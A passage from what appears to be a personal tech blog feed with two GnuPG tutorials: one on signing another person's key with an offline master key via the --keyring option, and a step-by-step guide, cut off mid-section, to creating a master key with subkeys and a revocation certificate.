</code></pre></div>How to sign PGP keys with an offline master key2017-06-03T00:00:00+02:002017-06-03T00:00:00+02:00Giuliatag:railslide.io,2017-06-03:/how-to-sign-pgp-keys-with-offline-master-key.html<p>Signing other people keys with an offline master key is not super straightforward. Here's how to do it in an almost pain-free way.</p><p>Lately I wanted to sign a coworker's key, so after having gone through the all in-real-life verification shebang together, all that was left was me performing the actual signing. However, since I <a href="https://railslide.io/create-gpg-key-with-subkeys.html">use subkeys on my laptop</a>, I first needed to get out my master key from its secret dungeon and tell GPG to use that one instead of the usual subkey. For doing that I used the handy <code>--homedir</code> option.</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>gpg<span class="w"> </span>--homedir<span class="o">=</span>/path/to/my/master/gnupg/folder<span class="w"> </span>--sign-key<span class="w"> </span>mycoworker@myjob.com
gpg:<span class="w"> </span>key<span class="w"> </span><span class="s2">"mycoworker@myjob.com"</span><span class="w"> </span>not<span class="w"> </span>found:<span class="w"> </span>public<span class="w"> </span>key<span class="w"> </span>not<span class="w"> </span>found
</code></pre></div>
<p>How's that possible? I am positive that I've imported my coworker's key - we have even exchanged encrypted email with each other!</p>
<p>Well, the fact is that I imported the key, yes, but I did it in my local keyring which is the one located at <code>~/.gnupg</code> and thus not the one my master key refers to. Pretty much as when using GPG on multiple computers: you have to re-import all the public keys from scratch.</p>
<p>Ok, so what are the options? Export the key I want to sign, import it into the master keyring, sign it, export it from the master keyiring, and finally import it into the local keyring? Sure, you could do that, but it's quite cumbersome. Fortunately, gpg has a better solution for that: the <code>--keyring</code> option!</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>gpg<span class="w"> </span>--homedir<span class="o">=</span>/path/to/my/master/gnupg/folder<span class="w"> </span>--keyring<span class="w"> </span>~/.gnupg/pubring.gpg<span class="w"> </span>--sign-key<span class="w"> </span>mycoworker@myjob.com
</code></pre></div>
<p>And voilà! Now you can proceed signing the key.</p>How to create a GPG key with subkeys2017-04-19T00:00:00+02:002017-04-19T00:00:00+02:00Giuliatag:railslide.io,2017-04-19:/create-gpg-key-with-subkeys.html<p>A step by step guide for creating a GPG key with subkeys.</p><p>I wanted to create a GPG key - so far so good. The problem is that I also wanted to use GPG on multiple devices, ideally even on my phone. I could have - <em>in theory</em> - copied the key over to all the needed machines, but that would have been a terrible idea. What if I lose my phone/laptop? My key would be compromised and I'd be left with no other choice than revoking it and losing all the previous signatures.</p>
<p>That's when subkeys come in.</p>
<p>Subkeys are almost identical to normal key pairs, except they can't be used for signing other people's keys, they're bound to a master key pair, and - here comes the interesting part! - they can be revoked independently from the master key.</p>
<p>So, in practical terms, they allow me to do the following: create a master key pair, create a subkey pair, remove the master key from my laptop, store it in a safe place, move on with my encrypting/decrypting life as usual. If catastrophe strikes, I retrieve my master key from its safe place, revoke the subkey, create a new subkey pair and I'm ready to go - and since each link of the Web of Trust is connected to the UID of the master key, my reputation stays untouched.</p>
<p>The only problem with all this workflow is that it requires a bunch of steps and I have the tendency to forget them pretty quickly. So, for the sake of my future self (or anyone else who might found them useful) here it is the whole process.</p>
<h2>Set GPG to prefer SHA2</h2>
<p>GPG defaults to SHA1 as preferred hash, so let's set it to prefer SHA2 instead.
Check if the following lines are present in <code>~/.gnupg/gpg.conf</code>:</p>
<div class="highlight"><pre><span></span><code>personal-digest-preferences SHA512 SHA384 SHA256 SHA224
default-preference-list SHA512 SHA384 SHA256 SHA224 AES256 AES192 AES CAST5 BZIP2 ZLIB ZIP Uncompressed
cert-digest-algo SHA512
</code></pre></div>
<p>If not, add them.</p>
<h2>Create a master key</h2>
<p>Create the master key - I'm going to mark user inputs with <code># [input value] <--</code>.</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>gpg<span class="w"> </span>--gen-key
gpg<span class="w"> </span><span class="o">(</span>GnuPG<span class="o">)</span><span class="w"> </span><span class="m">1</span>.4.11<span class="p">;</span><span class="w"> </span>Copyright<span class="w"> </span><span class="o">(</span>C<span class="o">)</span><span class="w"> </span><span class="m">2010</span><span class="w"> </span>Free<span class="w"> </span>Software<span class="w"> </span>Foundation,<span class="w"> </span>Inc.
This<span class="w"> </span>is<span class="w"> </span>free<span class="w"> </span>software:<span class="w"> </span>you<span class="w"> </span>are<span class="w"> </span>free<span class="w"> </span>to<span class="w"> </span>change<span class="w"> </span>and<span class="w"> </span>redistribute<span class="w"> </span>it.
There<span class="w"> </span>is<span class="w"> </span>NO<span class="w"> </span>WARRANTY,<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>extent<span class="w"> </span>permitted<span class="w"> </span>by<span class="w"> </span>law.
Please<span class="w"> </span><span class="k">select</span><span class="w"> </span>what<span class="w"> </span>kind<span class="w"> </span>of<span class="w"> </span>key<span class="w"> </span>you<span class="w"> </span>want:
<span class="w"> </span><span class="o">(</span><span class="m">1</span><span class="o">)</span><span class="w"> </span>RSA<span class="w"> </span>and<span class="w"> </span>RSA<span class="w"> </span><span class="o">(</span>default<span class="o">)</span>
<span class="w"> </span><span class="o">(</span><span class="m">2</span><span class="o">)</span><span class="w"> </span>DSA<span class="w"> </span>and<span class="w"> </span>Elgamal
<span class="w"> </span><span class="o">(</span><span class="m">3</span><span class="o">)</span><span class="w"> </span>DSA<span class="w"> </span><span class="o">(</span>sign<span class="w"> </span>only<span class="o">)</span>
<span class="w"> </span><span class="o">(</span><span class="m">4</span><span class="o">)</span><span class="w"> </span>RSA<span class="w"> </span><span class="o">(</span>sign<span class="w"> </span>only<span class="o">)</span>
<span class="w"> </span>Your<span class="w"> </span>selection?<span class="w"> </span><span class="c1"># 1 <--</span>
</code></pre></div>
<p>When it comes to choosing the length make sure to choose the longest available option (4096 at the time of writing).</p>
<div class="highlight"><pre><span></span><code>RSA<span class="w"> </span>keys<span class="w"> </span>may<span class="w"> </span>be<span class="w"> </span>between<span class="w"> </span><span class="m">1024</span><span class="w"> </span>and<span class="w"> </span><span class="m">4096</span><span class="w"> </span>bits<span class="w"> </span>long.
What<span class="w"> </span>keysize<span class="w"> </span><span class="k">do</span><span class="w"> </span>you<span class="w"> </span>want?<span class="w"> </span><span class="o">(</span><span class="m">2048</span><span class="o">)</span><span class="w"> </span><span class="c1"># 4096 <-- (the longer the better!)</span>
Requested<span class="w"> </span>keysize<span class="w"> </span>is<span class="w"> </span><span class="m">4096</span><span class="w"> </span>bits
Please<span class="w"> </span>specify<span class="w"> </span>how<span class="w"> </span>long<span class="w"> </span>the<span class="w"> </span>key<span class="w"> </span>should<span class="w"> </span>be<span class="w"> </span>valid.
<span class="w"> </span><span class="nv">0</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>key<span class="w"> </span>does<span class="w"> </span>not<span class="w"> </span>expire
<span class="w"> </span><n><span class="w"> </span><span class="o">=</span><span class="w"> </span>key<span class="w"> </span>expires<span class="w"> </span><span class="k">in</span><span class="w"> </span>n<span class="w"> </span>days
<span class="w"> </span><n>w<span class="w"> </span><span class="o">=</span><span class="w"> </span>key<span class="w"> </span>expires<span class="w"> </span><span class="k">in</span><span class="w"> </span>n<span class="w"> </span>weeks
<span class="w"> </span><n>m<span class="w"> </span><span class="o">=</span><span class="w"> </span>key<span class="w"> </span>expires<span class="w"> </span><span class="k">in</span><span class="w"> </span>n<span class="w"> </span>months
<span class="w"> </span><n>y<span class="w"> </span><span class="o">=</span><span class="w"> </span>key<span class="w"> </span>expires<span class="w"> </span><span class="k">in</span><span class="w"> </span>n<span class="w"> </span>years
Key<span class="w"> </span>is<span class="w"> </span>valid<span class="w"> </span><span class="k">for</span>?<span class="w"> </span><span class="o">(</span><span class="m">0</span><span class="o">)</span><span class="w"> </span><span class="c1"># 0 <--</span>
Key<span class="w"> </span>does<span class="w"> </span>not<span class="w"> </span>expire<span class="w"> </span>at<span class="w"> </span>all
Is<span class="w"> </span>this<span class="w"> </span>correct?<span class="w"> </span><span class="o">(</span>y/N<span class="o">)</span><span class="w"> </span><span class="c1"># y <--</span>
You<span class="w"> </span>need<span class="w"> </span>a<span class="w"> </span>user<span class="w"> </span>ID<span class="w"> </span>to<span class="w"> </span>identify<span class="w"> </span>your<span class="w"> </span>key<span class="p">;</span><span class="w"> </span>the<span class="w"> </span>software<span class="w"> </span>constructs<span class="w"> </span>the<span class="w"> </span>user<span class="w"> </span>ID
from<span class="w"> </span>the<span class="w"> </span>Real<span class="w"> </span>Name,<span class="w"> </span>Comment<span class="w"> </span>and<span class="w"> </span>E-mail<span class="w"> </span>Address<span class="w"> </span><span class="k">in</span><span class="w"> </span>this<span class="w"> </span>form:
<span class="w"> </span><span class="s2">"Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"</span>
Real<span class="w"> </span>name:<span class="w"> </span><span class="c1"># [Your name] <--</span>
E-mail<span class="w"> </span>address:<span class="w"> </span><span class="c1"># [Your email address] <--</span>
Comment:
You<span class="w"> </span>selected<span class="w"> </span>this<span class="w"> </span>USER-ID:
<span class="w"> </span><span class="s2">"[Your name] <[your email address]>"</span>
Change<span class="w"> </span><span class="o">(</span>N<span class="o">)</span>ame,<span class="w"> </span><span class="o">(</span>C<span class="o">)</span>omment,<span class="w"> </span><span class="o">(</span>E<span class="o">)</span>-mail<span class="w"> </span>or<span class="w"> </span><span class="o">(</span>O<span class="o">)</span>kay/<span class="o">(</span>Q<span class="o">)</span>uit?<span class="w"> </span><span class="c1"># o <--</span>
</code></pre></div>
<p>When prompted for a passphrase, make sure to choose a strong one - ideally long and hard to guess. If someone gets access to the secret key, the passphrase would be the only thing left to prevent them from using it.</p>
<div class="highlight"><pre><span></span><code>You<span class="w"> </span>need<span class="w"> </span>a<span class="w"> </span>Passphrase<span class="w"> </span>to<span class="w"> </span>protect<span class="w"> </span>your<span class="w"> </span>secret<span class="w"> </span>key.
<span class="c1"># Enter passphrase <--</span>
We<span class="w"> </span>need<span class="w"> </span>to<span class="w"> </span>generate<span class="w"> </span>a<span class="w"> </span>lot<span class="w"> </span>of<span class="w"> </span>random<span class="w"> </span>bytes.<span class="w"> </span>It<span class="w"> </span>is<span class="w"> </span>a<span class="w"> </span>good<span class="w"> </span>idea<span class="w"> </span>to<span class="w"> </span>perform
some<span class="w"> </span>other<span class="w"> </span>action<span class="w"> </span><span class="o">(</span><span class="nb">type</span><span class="w"> </span>on<span class="w"> </span>the<span class="w"> </span>keyboard,<span class="w"> </span>move<span class="w"> </span>the<span class="w"> </span>mouse,<span class="w"> </span>utilize<span class="w"> </span>the
disks<span class="o">)</span><span class="w"> </span>during<span class="w"> </span>the<span class="w"> </span>prime<span class="w"> </span>generation<span class="p">;</span><span class="w"> </span>this<span class="w"> </span>gives<span class="w"> </span>the<span class="w"> </span>random<span class="w"> </span>number
generator<span class="w"> </span>a<span class="w"> </span>better<span class="w"> </span>chance<span class="w"> </span>to<span class="w"> </span>gain<span class="w"> </span>enough<span class="w"> </span>entropy.
.............+++++
..+++++
gpg:<span class="w"> </span>key<span class="w"> </span><span class="o">[</span>your<span class="w"> </span>key<span class="w"> </span>ID<span class="o">]</span><span class="w"> </span>marked<span class="w"> </span>as<span class="w"> </span>ultimately<span class="w"> </span>trusted
public<span class="w"> </span>and<span class="w"> </span>secret<span class="w"> </span>key<span class="w"> </span>created<span class="w"> </span>and<span class="w"> </span>signed.
gpg:<span class="w"> </span>checking<span class="w"> </span>the<span class="w"> </span>trustdb
gpg:<span class="w"> </span><span class="m">3</span><span class="w"> </span>marginal<span class="o">(</span>s<span class="o">)</span><span class="w"> </span>needed,<span class="w"> </span><span class="m">1</span><span class="w"> </span>complete<span class="o">(</span>s<span class="o">)</span><span class="w"> </span>needed,<span class="w"> </span>PGP<span class="w"> </span>trust<span class="w"> </span>model
gpg:<span class="w"> </span>depth:<span class="w"> </span><span class="m">0</span><span class="w"> </span>valid:<span class="w"> </span><span class="m">1</span><span class="w"> </span>signed:<span class="w"> </span><span class="m">0</span><span class="w"> </span>trust:<span class="w"> </span><span class="m">0</span>-,<span class="w"> </span>0q,<span class="w"> </span>0n,<span class="w"> </span>0m,<span class="w"> </span>0f,<span class="w"> </span>1u
pub<span class="w"> </span>4096R/<span class="o">[</span>your<span class="w"> </span>key<span class="w"> </span>ID<span class="o">]</span><span class="w"> </span><span class="m">2017</span>-04-17
<span class="w"> </span>Key<span class="w"> </span><span class="nv">fingerprint</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">[</span>Key<span class="w"> </span>fingerprint<span class="o">]</span>
uid<span class="w"> </span><span class="o">[</span>Your<span class="w"> </span>name<span class="o">]</span><span class="w"> </span><<span class="o">[</span>your<span class="w"> </span>email<span class="w"> </span>address<span class="o">]</span>>
sub<span class="w"> </span>4096R/<span class="o">[</span>Sub<span class="w"> </span>ID<span class="o">]</span><span class="w"> </span><span class="m">2017</span>-04-17
</code></pre></div>
<p>Congratulations! The master key has been created!</p>
<h2>Set your key to prefer strong hashes</h2>
<p>In theory, if hash preferences were set in the <code>gpg.conf</code> file before creating the key, this step should not be necessary. But better safe than sorry.</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>gpg<span class="w"> </span>--edit-key<span class="w"> </span><span class="o">[</span>your<span class="w"> </span>email<span class="w"> </span>address<span class="o">]</span>
gpg<span class="w"> </span><span class="o">(</span>GnuPG<span class="o">)</span><span class="w"> </span><span class="m">1</span>.4.11<span class="p">;</span><span class="w"> </span>Copyright<span class="w"> </span><span class="o">(</span>C<span class="o">)</span><span class="w"> </span><span class="m">2010</span><span class="w"> </span>Free<span class="w"> </span>Software<span class="w"> </span>Foundation,<span class="w"> </span>Inc.
This<span class="w"> </span>is<span class="w"> </span>free<span class="w"> </span>software:<span class="w"> </span>you<span class="w"> </span>are<span class="w"> </span>free<span class="w"> </span>to<span class="w"> </span>change<span class="w"> </span>and<span class="w"> </span>redistribute<span class="w"> </span>it.
There<span class="w"> </span>is<span class="w"> </span>NO<span class="w"> </span>WARRANTY,<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>extent<span class="w"> </span>permitted<span class="w"> </span>by<span class="w"> </span>law.
Secret<span class="w"> </span>key<span class="w"> </span>is<span class="w"> </span>available.
gpg:<span class="w"> </span>checking<span class="w"> </span>the<span class="w"> </span>trustdb
gpg:<span class="w"> </span><span class="m">3</span><span class="w"> </span>marginal<span class="o">(</span>s<span class="o">)</span><span class="w"> </span>needed,<span class="w"> </span><span class="m">1</span><span class="w"> </span>complete<span class="o">(</span>s<span class="o">)</span><span class="w"> </span>needed,<span class="w"> </span>PGP<span class="w"> </span>trust<span class="w"> </span>model
gpg:<span class="w"> </span>depth:<span class="w"> </span><span class="m">0</span><span class="w"> </span>valid:<span class="w"> </span><span class="m">1</span><span class="w"> </span>signed:<span class="w"> </span><span class="m">0</span><span class="w"> </span>trust:<span class="w"> </span><span class="m">0</span>-,<span class="w"> </span>0q,<span class="w"> </span>0n,<span class="w"> </span>0m,<span class="w"> </span>0f,<span class="w"> </span>1u
pub<span class="w"> </span>4096R/<span class="o">[</span>Your<span class="w"> </span>key<span class="w"> </span>ID<span class="o">]</span><span class="w"> </span>created:<span class="w"> </span><span class="m">2017</span>-04-17<span class="w"> </span>expires:<span class="w"> </span>never<span class="w"> </span>usage:<span class="w"> </span>SC
<span class="w"> </span>trust:<span class="w"> </span>ultimate<span class="w"> </span>validity:<span class="w"> </span>ultimate
sub<span class="w"> </span>4096R/<span class="o">[</span>Sub<span class="w"> </span>ID<span class="o">]</span><span class="w"> </span>created:<span class="w"> </span><span class="m">2017</span>-04-17<span class="w"> </span>expires:<span class="w"> </span>never<span class="w"> </span>usage:<span class="w"> </span>E
gpg><span class="w"> </span><span class="c1"># setpref SHA512 SHA384 SHA256 SHA224 AES256 AES192 AES CAST5 ZLIB BZIP2 ZIP Uncompressed <--</span>
Set<span class="w"> </span>preference<span class="w"> </span>list<span class="w"> </span>to:
<span class="w"> </span>Cypher:<span class="w"> </span>AES256,<span class="w"> </span>AES192,<span class="w"> </span>AES,<span class="w"> </span>CAST5,<span class="w"> </span>3DES
<span class="w"> </span>Digest:<span class="w"> </span>SHA512,<span class="w"> </span>SHA384,<span class="w"> </span>SHA256,<span class="w"> </span>SHA224,<span class="w"> </span>SHA1
<span class="w"> </span>Compression:<span class="w"> </span>ZLIB,<span class="w"> </span>BZIP2,<span class="w"> </span>ZIP,<span class="w"> </span>Uncompressed
<span class="w"> </span>Features:<span class="w"> </span>MDC,<span class="w"> </span>Keyserver<span class="w"> </span>no-modify
Really<span class="w"> </span>update<span class="w"> </span>the<span class="w"> </span>preferences?<span class="w"> </span><span class="o">(</span>y/N<span class="o">)</span><span class="w"> </span><span class="c1"># y <--</span>
You<span class="w"> </span>need<span class="w"> </span>a<span class="w"> </span>passphrase<span class="w"> </span>to<span class="w"> </span>unlock<span class="w"> </span>the<span class="w"> </span>secret<span class="w"> </span>key<span class="w"> </span><span class="k">for</span>
user:<span class="w"> </span><span class="o">[</span>Your<span class="w"> </span>name<span class="o">]</span><span class="w"> </span><<span class="o">[</span>your<span class="w"> </span>email<span class="w"> </span>address<span class="o">]</span>>
<span class="m">4096</span>-bit<span class="w"> </span>RSA<span class="w"> </span>key,<span class="w"> </span>ID<span class="w"> </span><span class="o">[</span>You<span class="w"> </span>key<span class="w"> </span>ID<span class="o">]</span>,<span class="w"> </span>created<span class="w"> </span><span class="m">2017</span>-04-17
<span class="c1"># Enter passphrase <--</span>
pub<span class="w"> </span>4096R/<span class="o">[</span>Your<span class="w"> </span>key<span class="w"> </span>ID<span class="o">]</span><span class="w"> </span>created:<span class="w"> </span><span class="m">2017</span>-04-17<span class="w"> </span>expires:<span class="w"> </span>never<span class="w"> </span>usage:<span class="w"> </span>SC
<span class="w"> </span>trust:<span class="w"> </span>ultimate<span class="w"> </span>validity:<span class="w"> </span>ultimate
sub<span class="w"> </span>4096R/<span class="o">[</span>Sub<span class="w"> </span>ID<span class="o">]</span><span class="w"> </span>created:<span class="w"> </span><span class="m">2017</span>-04-17<span class="w"> </span>expires:<span class="w"> </span>never<span class="w"> </span>usage:<span class="w"> </span>E<span class="w"> </span><span class="o">]</span>
gpg><span class="w"> </span><span class="c1"># save</span>
</code></pre></div>
<h2>Create a signing subkey</h2>
<p>When creating a key GPG automatically creates an encryption subkey as well, which means that only the signing subkey needs manual creation.</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>gpg<span class="w"> </span>--edit-key<span class="w"> </span><span class="o">[</span>Your<span class="w"> </span>email<span class="w"> </span>address<span class="o">]</span>
gpg<span class="w"> </span><span class="o">(</span>GnuPG<span class="o">)</span><span class="w"> </span><span class="m">1</span>.4.11<span class="p">;</span><span class="w"> </span>Copyright<span class="w"> </span><span class="o">(</span>C<span class="o">)</span><span class="w"> </span><span class="m">2010</span><span class="w"> </span>Free<span class="w"> </span>Software<span class="w"> </span>Foundation,<span class="w"> </span>Inc.
This<span class="w"> </span>is<span class="w"> </span>free<span class="w"> </span>software:<span class="w"> </span>you<span class="w"> </span>are<span class="w"> </span>free<span class="w"> </span>to<span class="w"> </span>change<span class="w"> </span>and<span class="w"> </span>redistribute<span class="w"> </span>it.
There<span class="w"> </span>is<span class="w"> </span>NO<span class="w"> </span>WARRANTY,<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>extent<span class="w"> </span>permitted<span class="w"> </span>by<span class="w"> </span>law.
Secret<span class="w"> </span>key<span class="w"> </span>is<span class="w"> </span>available.
gpg:<span class="w"> </span>checking<span class="w"> </span>the<span class="w"> </span>trustdb
gpg:<span class="w"> </span><span class="m">3</span><span class="w"> </span>marginal<span class="o">(</span>s<span class="o">)</span><span class="w"> </span>needed,<span class="w"> </span><span class="m">1</span><span class="w"> </span>complete<span class="o">(</span>s<span class="o">)</span><span class="w"> </span>needed,<span class="w"> </span>PGP<span class="w"> </span>trust<span class="w"> </span>model
gpg:<span class="w"> </span>depth:<span class="w"> </span><span class="m">0</span><span class="w"> </span>valid:<span class="w"> </span><span class="m">1</span><span class="w"> </span>signed:<span class="w"> </span><span class="m">0</span><span class="w"> </span>trust:<span class="w"> </span><span class="m">0</span>-,<span class="w"> </span>0q,<span class="w"> </span>0n,<span class="w"> </span>0m,<span class="w"> </span>0f,<span class="w"> </span>1u
pub<span class="w"> </span>4096R/<span class="o">[</span>Your<span class="w"> </span>key<span class="w"> </span>ID<span class="o">]</span><span class="w"> </span>created:<span class="w"> </span><span class="m">2017</span>-04-17<span class="w"> </span>expires:<span class="w"> </span>never<span class="w"> </span>usage:<span class="w"> </span>SC
<span class="w"> </span>trust:<span class="w"> </span>ultimate<span class="w"> </span>validity:<span class="w"> </span>ultimate
sub<span class="w"> </span>4096R/<span class="o">[</span>Sub<span class="w"> </span>ID<span class="o">]</span><span class="w"> </span>created:<span class="w"> </span><span class="m">2017</span>-04-17<span class="w"> </span>expires:<span class="w"> </span>never<span class="w"> </span>usage:<span class="w"> </span>E<span class="w"> </span><span class="o">]</span>
gpg><span class="w"> </span><span class="c1"># addkey <--</span>
Key<span class="w"> </span>is<span class="w"> </span>protected.
You<span class="w"> </span>need<span class="w"> </span>a<span class="w"> </span>passphrase<span class="w"> </span>to<span class="w"> </span>unlock<span class="w"> </span>the<span class="w"> </span>secret<span class="w"> </span>key<span class="w"> </span><span class="k">for</span>
user:<span class="w"> </span><span class="o">[</span>Your<span class="w"> </span>name<span class="o">]</span><span class="w"> </span><<span class="o">[</span>your<span class="w"> </span>email<span class="w"> </span>address<span class="o">]</span>>
<span class="m">4096</span>-bit<span class="w"> </span>RSA<span class="w"> </span>key,<span class="w"> </span>ID<span class="w"> </span><span class="o">[</span>Your<span class="w"> </span>key<span class="w"> </span>ID<span class="o">]</span>,<span class="w"> </span>created<span class="w"> </span><span class="m">2017</span>-04-17
<span class="c1"># Enter passphrase <--</span>
Please<span class="w"> </span><span class="k">select</span><span class="w"> </span>what<span class="w"> </span>kind<span class="w"> </span>of<span class="w"> </span>key<span class="w"> </span>you<span class="w"> </span>want:
<span class="w"> </span><span class="o">(</span><span class="m">3</span><span class="o">)</span><span class="w"> </span>DSA<span class="w"> </span><span class="o">(</span>sign<span class="w"> </span>only<span class="o">)</span>
<span class="w"> </span><span class="o">(</span><span class="m">4</span><span class="o">)</span><span class="w"> </span>RSA<span class="w"> </span><span class="o">(</span>sign<span class="w"> </span>only<span class="o">)</span>
<span class="w"> </span><span class="o">(</span><span class="m">5</span><span class="o">)</span><span class="w"> </span>Elgamal<span class="w"> </span><span class="o">(</span>encrypt<span class="w"> </span>only<span class="o">)</span>
<span class="w"> </span><span class="o">(</span><span class="m">6</span><span class="o">)</span><span class="w"> </span>RSA<span class="w"> </span><span class="o">(</span>encrypt<span class="w"> </span>only<span class="o">)</span>
Your<span class="w"> </span>selection?<span class="w"> </span><span class="c1"># 4 <--</span>
RSA<span class="w"> </span>keys<span class="w"> </span>may<span class="w"> </span>be<span class="w"> </span>between<span class="w"> </span><span class="m">1024</span><span class="w"> </span>and<span class="w"> </span><span class="m">4096</span><span class="w"> </span>bits<span class="w"> </span>long.
What<span class="w"> </span>keysize<span class="w"> </span><span class="k">do</span><span class="w"> </span>you<span class="w"> </span>want?<span class="w"> </span><span class="o">(</span><span class="m">2048</span><span class="o">)</span><span class="w"> </span><span class="c1"># 4096 <-- (the longer the better!)</span>
Requested<span class="w"> </span>keysize<span class="w"> </span>is<span class="w"> </span><span class="m">4096</span><span class="w"> </span>bits
Please<span class="w"> </span>specify<span class="w"> </span>how<span class="w"> </span>long<span class="w"> </span>the<span class="w"> </span>key<span class="w"> </span>should<span class="w"> </span>be<span class="w"> </span>valid.
<span class="w"> </span><span class="nv">0</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>key<span class="w"> </span>does<span class="w"> </span>not<span class="w"> </span>expire
<span class="w"> </span><n><span class="w"> </span><span class="o">=</span><span class="w"> </span>key<span class="w"> </span>expires<span class="w"> </span><span class="k">in</span><span class="w"> </span>n<span class="w"> </span>days
<span class="w"> </span><n>w<span class="w"> </span><span class="o">=</span><span class="w"> </span>key<span class="w"> </span>expires<span class="w"> </span><span class="k">in</span><span class="w"> </span>n<span class="w"> </span>weeks
<span class="w"> </span><n>m<span class="w"> </span><span class="o">=</span><span class="w"> </span>key<span class="w"> </span>expires<span class="w"> </span><span class="k">in</span><span class="w"> </span>n<span class="w"> </span>months
<span class="w"> </span><n>y<span class="w"> </span><span class="o">=</span><span class="w"> </span>key<span class="w"> </span>expires<span class="w"> </span><span class="k">in</span><span class="w"> </span>n<span class="w"> </span>years
Key<span class="w"> </span>is<span class="w"> </span>valid<span class="w"> </span><span class="k">for</span>?<span class="w"> </span><span class="o">(</span><span class="m">0</span><span class="o">)</span><span class="w"> </span><span class="c1"># 0 <--</span>
Key<span class="w"> </span>does<span class="w"> </span>not<span class="w"> </span>expire<span class="w"> </span>at<span class="w"> </span>all
Is<span class="w"> </span>this<span class="w"> </span>correct?<span class="w"> </span><span class="o">(</span>y/N<span class="o">)</span><span class="w"> </span><span class="c1"># y <--</span>
Really<span class="w"> </span>create?<span class="w"> </span><span class="o">(</span>y/N<span class="o">)</span><span class="w"> </span><span class="c1"># y <--</span>
pub<span class="w"> </span>4096R/<span class="o">[</span>Your<span class="w"> </span>key<span class="w"> </span>ID<span class="o">]</span><span class="w"> </span>created:<span class="w"> </span><span class="m">2017</span>-04-17<span class="w"> </span>expires:<span class="w"> </span>never<span class="w"> </span>usage:<span class="w"> </span>SC
<span class="w"> </span>trust:<span class="w"> </span>ultimate<span class="w"> </span>validity:<span class="w"> </span>ultimate
sub<span class="w"> </span>4096R/<span class="o">[</span>Sub<span class="w"> </span>ID<span class="o">]</span><span class="w"> </span>created:<span class="w"> </span><span class="m">2017</span>-04-17<span class="w"> </span>expires:<span class="w"> </span>never<span class="w"> </span>usage:<span class="w"> </span>E<span class="w"> </span><span class="o">]</span>
sub<span class="w"> </span>4096R/<span class="o">[</span>Sub<span class="w"> </span>ID<span class="o">]</span><span class="w"> </span>created:<span class="w"> </span><span class="m">2017</span>-04-17<span class="w"> </span>expires:<span class="w"> </span>never<span class="w"> </span>usage:<span class="w"> </span>S
gpg><span class="w"> </span><span class="c1"># save <--</span>
</code></pre></div>
<h2>Create a revocation certificate</h2>
<p>If the master key gets lost or compromised, the revocation certificate is going to be your emergency brake.</p>
<div class="highlight"><pre><span></span><code>$<span class="w"> </span>gpg<span class="w"> </span>--output<span class="w"> </span>revoke.asc<span class="w"> </span>--gen-revoke<span class="w"> </span><span class="o">[</span>your<span class="w"> </span>email<span class="w"> </span>address<span class="o">]</span>
Create<span class="w"> </span>a<span class="w"> </span>revocation<span class="w"> </span>certificate<span class="w"> </span><span class="k">for</span><span class="w"> </span>this<span class="w"> </span>key?<span class="w"> </span><span class="o">(</span>y/N<span class="o">)</span><span class="w"> </span><span class="c1"># y <--</span>
Please<span class="w"> </span><span class="k">select</span><span class="w"> </span>the<span class="w"> </span>reason<span class="w"> </span><span class="k">for</span><span class="w"> </span>the<span class="w"> </span>revocation:
<span class="w"> </span><span class="nv">0</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>No<span class="w"> </span>reason<span class="w"> </span>specified
<span class="w"> </span><span class="nv">1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>Key<span class="w"> </span>has<span class="w"> </span>been<span class="w"> </span>compromised
<span class="w"> </span><span class="nv">2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>Key<span class="w"> </span>is<span class="w"> </span>superseded
<span class="w"> </span><span class="nv">3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>Key<span class="w"> </span>is<span class="w"> </span>no<span class="w"> </span>longer<span class="w"> </span>used
<span class="w"> </span><span class="nv">Q</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>Cancel
<span class="o">(</span>Probably<span class="w"> </span>you<span class="w"> </span>want<span class="w"> </span>to<span class="w"> </span><span class="k">select</span><span class="w"> </span><span class="m">1</span><span class="w"> </span>here<span class="o">)</span>
Your<span class="w"> </span>decision?<span class="w"> </span><span class="c1"># 1 <--</span>
Enter<span class="w"> </span>an<span class="w"> </span>optional<span class="w"> </span>description<span class="p">;</span><span class="w"> </span>end<span class="w"> </span>it<span class="w"> </span>with<span class="w"> </span>an<span class="w"> </span>empty<span class="w"> </span>line:
><span class="w"> </span><span class="c1"># Empty line will do fine here <--</span>
Reason<span class="w"> </span><span class="k">for</span><span class="w"> </span>revocation:<span class="w"> </span>Key<span class="w"> </span>has<span class="w"> </span>been<span class="w"> </span>compromised
<span class="o">(</span>No<span class="w"> </span>description<span class="w"> </span>given<span class="o">)</span>
Is<span class="w"> </span>this<span class="w"> </span>okay?<span class="w"> </span><span class="o">(</span>y/N<span class="o">)</span><span class="w"> </span><span class="c1"># y <--</span>
You<span class="w"> </span>need<span class="w"> </span>a<span class="w"> </span>passphrase<span class="w"> </span>to<span class="w"> </span>unlock<span class="w"> </span>the<span class="w"> </span>secret<span class="w"> </span>key<span class="w"> </span><span class="k">for</span>
user:<span class="w"> </span><span class="o">[</span>Your<span class="w"> </span>name<span class="o">]</span><span class="w"> </span><<span class="o">[</span>your<span class="w"> </span>email<span class="w"> </span>address<span class="o">]</span>>
<span class="m">4096</span>-bit<span class="w"> </span>RSA<span class="w"> </span>key,<span class="w"> </span>ID<span class="w"> </span><span class="o">[</span>Your<span class="w"> </span>key<span class="w"> </span>ID<span class="o">]</span>,<span class="w"> </span>created<span class="w"> </span><span class="m">2017</span>-04-17
<span class="c1"># Enter passphrase <--</span>
Revocation<span class="w"> </span>certificate<span class="w"> </span>created.
</code></pre></div>
<p>Make several copies of it and save it in a safe place (ideally not the same one as the master key!)</p>
<h2>Remove the master key</h2>
<p>Before proceeding, make sure to have backups of the <code>.gpg</code> folder (perhaps on an encrypted media)</p>
<p>Temporarily export the subkeys:</p>
